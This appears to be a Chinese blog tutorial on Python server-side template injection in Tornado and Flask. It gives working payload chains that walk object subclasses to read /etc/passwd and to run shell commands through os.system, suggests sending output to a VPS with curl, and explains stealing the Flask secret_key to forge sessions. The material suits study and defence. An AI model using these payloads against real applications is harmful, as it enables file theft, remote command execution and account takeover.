原理
python的SSTI不僅可以向網頁插入一些XSS代碼,而且還可以獲取一些變量和函數信息,尤其是secret_key,如果獲取到則可以對flask框架的session可以進行偽造。
對于tornado框架
,render(request, 'account/login.html', {'error': error_msg}如果error_msg用戶可控,那么就存在注入。
如果error_msg為
,如果沒有過濾則會執行XSS
如果error_msg為{{data}}的話,data則可以執行一些簡單的表達式和獲取變量,例如:
用戶輸入error_msg:{{1+1}} 頁面則返回:2
對于flask框架
,有時需要根據需要對頁面進行顯示類中的一些屬性,例如用戶傳入name則返回類中name屬性,傳入id返回類中id屬性的話,那么就可以利用一些魔術方法獲得全局變量,例如:
對于返回的是定義的Class內的話:
__dict__?? //返回類中的函數和屬性,父類子類互不影響
__base__ //返回類的父類 python3
__mro__ //返回類繼承的元組,(尋找父類) python3
__init__ //返回類的初始化方法? ?
__subclasses__()? //返回類中仍然可用的引用? python3
__globals__? //對包含函數全局變量的字典的引用 python3
對于返回的是類實例的話:
__class__ //返回實例的對象,可以使類實例指向Class,使用上面的魔術方法
對于tornado render注入類似的利用
一。任意文件讀取
①{{' '.__class__}}??????? //?
②{{' '.__class__.__mro__}}? // (
③{{' '.__class__.__mro__[1].__subclasses__()}}? //取到object類的子類,如下:
[
④{{' '.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}} //取到
二。命令執行
①{{' '.__class__.__mro__[1].__subclasses__()}}? //和前面一樣先取到object類的子類
②{{' '.__class__.__mro__[2].__subclasses__()[119].__init__}} //取到
③{{' '.__class__.__mro__[2].__subclasses__()[119].__init__.__globals__}}//獲得
④{{' '.__class__.__mro__[2].__subclasses__()[119].__init__.__globals__['os'].system('ls')}} //找到os類執行代碼,注:自身實驗不存在,視情況而定,命令執行結果無法直接看到,可以用curl將結果發送到vps
上面例子的實際運用:
在一般情況下,模板注入的地方都是位于服務端構造的一個類內,所以可以用
1.__class__.__init__.__globals__? //獲得當前類的全局變量
2.__class__.__mro__?? //查看所有的類,再用__class__.__mro__[number].__init__.__globals__查看變量
3.__class__.__init__.__globals__[app].__dict__ //查看內部的詳細信息
如果獲得secret_key就可以偽造session
更多文章、技術交流、商務合作、聯系博主
微信掃碼或搜索:z360901061

微信掃一掃加我為好友
QQ號聯系: 360901061
您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描下面二維碼支持博主2元、5元、10元、20元等您想捐的金額吧,狠狠點擊下面給點支持吧,站長非常感激您!手機微信長按不能支付解決辦法:請將微信支付二維碼保存到相冊,切換到微信,然后點擊微信右上角掃一掃功能,選擇支付二維碼完成支付。
【本文對您有幫助就好】元
